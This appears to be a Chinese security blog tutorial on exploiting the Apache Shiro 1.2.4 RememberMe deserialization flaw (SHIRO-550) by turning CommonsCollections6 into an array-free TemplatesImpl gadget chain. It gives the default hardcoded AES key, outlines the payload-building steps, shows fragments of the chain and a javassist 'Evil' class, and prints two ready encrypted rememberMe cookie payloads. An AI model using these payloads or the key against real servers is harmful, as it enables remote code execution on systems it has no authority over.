TemplatesImpl在Shiro中的利用
前言
前面学习了CC1、CC3和CC6,其中CC6是不限制版本的一条链,那么为什么还要用到TemplatesImpl这条链呢?不妨我们设想一下:命令执行
和代码执行
到底谁更有价值?
例如在PHP中会遇到一个场景,call_user_func
和eval
都能造成的代码执行,而更多的人愿意使用eval
,原因是call_user_func
在某种情况下会被限制不能使用assert
和system
函数。通过TemplatesImpl
构造的利用链,理论上可以执行任意Java代码。
Shiro反序列化原理
Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
Shiro 1.2.4版本默认固定密钥:kPH+bIxk5D2deZiIxcaaaA==
影响版本
Shiro 1.2.4及之前的版本中,AES加密的密钥默认硬编码在代码里(SHIRO-550),Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。
漏洞环境搭建
漏洞环境: 点击访问
搭建教程: 点击访问
访问首页,如图所示即已搭建成功
漏洞分析
先添加一波依赖:
1 | <dependency> |
先登录抓包一下,使用root/secret
登录并勾选Remember Me。
勾选登录后,Cookie会生成rememberMe字段,这条链子的一个攻击流程就是:
- CC链生成payload
- 使用Shiro默认密钥进行AES加密
- 进行Base64编码
- 传入Cookie中的remember字段发送给服务器,最后进行反序列化
不过这里的CC链需要改造CC6才能打,我们先直接来打,看看是什么效果捏?
1 | package Shiro; |
1 | package Shiro; |
加密的过程,我直接使用的shiro内置的类org.apache.shiro.crypto.AesCipherService
,最后生成一段base64字符串:
1 | 8hUffthcUeeLkklAI0FNJwESbBbDgOXdmJZgVFIT091XnNe8AOefNV7cz1O+X4eHMxpoy0Yzl4Kd4QNpXNf97iBIBmwtdH5ld15SJBREX947DUjYxeG2byCRGHkrYvR+7qpx+d8wXQoK1lspXdu3r795ezC/xC0WbmZxxxvrXdRN+BuJr9aiO74mjGB01DkIJUPcoUkVyYawR1uvhpWJQTQzIoLCkySrElzp7SHMxivFl5QMer/ZOwNjhXRWzbrL9nuWrWve9ZCvkhKEAARINETCy40jzHa4zoKoGlZN1wEfqX39eAQ9Onh5GKMc/MM1He/PQEgOt8LykMiJjBs6aoYVjRl4KOgr3M940sJNTJjFOVPtnf1NK3mMqzy2zB5jn1RMkG9L0VIwo1OXcGSlJOftS1V2b+sBjCD3NwqCBAbXrluTxrFz4umWdb+SqQtSC5162IwLVL+Zbmgj/ygXYvTFUvrgf8DpYhT8t4KvJxYKT/vNfdukWhe1NRWUGKmrT3n7s/L7l6+h82bLkf6XxW38mHliDcCuVbTi8qQW4qGdp3c5CfBF6vWbSlsv7904KuUXhSyaiJCpyLuPKcG0AB4B4Rk/9zQ9iq/IAA7g/r/z3KhvonSZXAm75xoqpV8UAjx+LHi9e/lbYvaOOi9EqxWZVEVdXU8Nac3IOSeW9OydVl1ICHb2LLOS2I8wY3TlZRnJPj7CS+KkT6R4NW9IidzKju1PXgcU1QlKjcfQ90CeWclI+zFVCbIxQY4khNkPYjBzTdTitAV0Uvd/76Su9CDlfVaMAtNDJ9omivf4Lb4UiQCmz8lUfSQFhvK5FYqZi28v+Y18WlOls8lS0YdsnCpvVThwg3MkQKJfBCkKx3Fj5kqn1j2jCcdp24RZ5Vqov7urUli3hXL2I7fekicuDwgyq3defCQ+uIRhAzFYxwejKKJgvOLyPHLpJh5aPPR2UD7DdR3sDY3yjg1Gb3grg+9hnRJ6YQ92EJLt5migQxLWOQK12kFBbWn01zIFWWJweWDtYUzhsV13UDuMg774rrD0PawLSi9f+zlVqJBsuAxoTDE/g1sBD1Vg8IcJI1L6BFdLn8gANeFlGFjoYTfBTcfbl6DRCGAw3RPOPBohQhwuCLyZKNdPVCzZjlHg2NEND4DRZItLfLEjYXUz/M91eX3ifiHVHlkG8UrpeqjH/z5a5ZjoO0N+Aq7aF+f7mxVTYf+ppvVPWO7OniM/7xntaU7SeX1NMku8XsnBwNUf02ibLCIbHgdZX2rJdHWuxn7AXUAJ//W4xIGgYn6mX3/lCnaqNxwwjFudwho55aowtBunUUX+yE3ZZxTEjAQHfcML2idFerDOBYxdcfLcwmS/XEklmf2chX5odNg179dJglwzKjGwJVij9ZWhuu6r4eqQ5WF/9dc2wNXDQzJ9R1Nv1ylMgtRpOka1XUVY7VK1Qv1q0gdHeuvDhmwQn+tCh5C+pBkzA+O0JokZEGUjOksi1DIKCJBbuNCJB8m+vTgl/coJ5vVTR0p58u0gdmlpUMSPy+Z8PEvBxL9erE1YUvQYkD5d3rGqC2ZHldMKhv668ru3DvtiqVfg3nm7d1QHRPqeBz3HU2qNUVvgJGqihwu9O9m2AWLQ6bLKBneRt7P3vH/hRM7ZW2ZTkC+0XBMKiMYfRrcMlF5u4gvLkP9REaYAVgPwWHV7C86sncQFzQdNh+sPoyRVVBZYV832Ay7xzWJc |
可以看到,是没有成功弹出计算器的,我们来思考一下为什么呢?
P牛在其Java安全漫谈中给出了答案: 如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。
构造不含数组的反序列化Gadget
接下来,看看如何使用TemplatesImpl
来改造CC6。CC6分析传送门首先可以通过下面这几行代码来执行一段Java的字节码
1 | TemplatesImpl obj = new TemplatesImpl(); |
而在CC3中介绍了,利用 InvokerTransformer
调用 TemplatesImpl#newTransformer
方法:
1 | Transformer[] transformers = new Transformer[]{ |
但是这里仍然是用到了Transformer[]
,所以还算不满足条件。
在CommonsCollections6
中使用了TiedMapEntry
这个类,它的构造函数接受了两个参数,一个是Map,一个是对象Key。TiedMapEntry
类有个getValue
调用了map的get方法,并传入key。
1 | public Object getValue() { |
当这个map被传入LazyMap的时候,其get方法就触发了transform()方法。
1 | public Object get(Object key) { |
在以前构造CC6的时候,这里参数key的值实际上是可以随意设置的,因为Transformer[]数组的首个对象是ConstantTransformer,我们是通过ConstantTransformer来初始化恶意对象。
但是现在不能使用Transformer[]数组了,自然也就不能使用ConstantTransformer了。但是此时这个LazyMap#get
的参数key却让人引起重视,因为这个key会被传入transform(),也就是它也能扮演ConstantTransformer的角色,用来传递恶意对象。
改造CommonsCollections6为 CommonsCollectionsShiro
首先第一步还算使用TemplatesImpl
对象:
1 | TemplatesImpl obj = new TemplatesImpl(); |
然后用newTransformer方法的InvokerTransformer,但此时先构造一个fake,防止恶意方法在构造链子的时候触发:
1 | Transformer transformer = new InvokerTransformer("getClass", null, null); |
然后下面就继续用CC6的代码,在TiedMapEntry构造的时候,第二个参数key传入刚刚创建的TemplatesImpl
对象:
1 | Map innerMap = new HashMap(); |
之前使用的outerMap.remove
来移除keykey
这个值,这里可以用过 outerMap.clear()
效果是一样的。
最后,将 InvokerTransformer
的方法从人畜无害的 getClass
,改成 newTransformer
(用于初始化,触发恶意类的构造函数)
完整CommonsCollectionsShiro:
1 | package Shiro; |
写一个Client.java来配合链子生成payload:
1 | package Shiro; |
Evil类
还有一个Evil类,用到了javassist
,它是一个字节码操纵的第三方库,可以帮助我们把恶意类转化为字节码文件,再传入TemplatesImpl
进行类加载。
1 | package Shiro; |
Payload:
1 | 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 |
最后
Shiro不是遇到Tomcat就一定会有数组这个问题
Shiro-550的修复并不意味着反序列化漏洞的修复,只是默认Key被移除了,还有新的Shiro721
Shiro550使用已知密钥撞,Shiro721是使用登录后rememberMe={value}去爆破正确的key值进而反序列化,对比Shiro550条件只要有足够密钥库(条件比较低)、Shiro721需要登录(要求比较高鸡肋)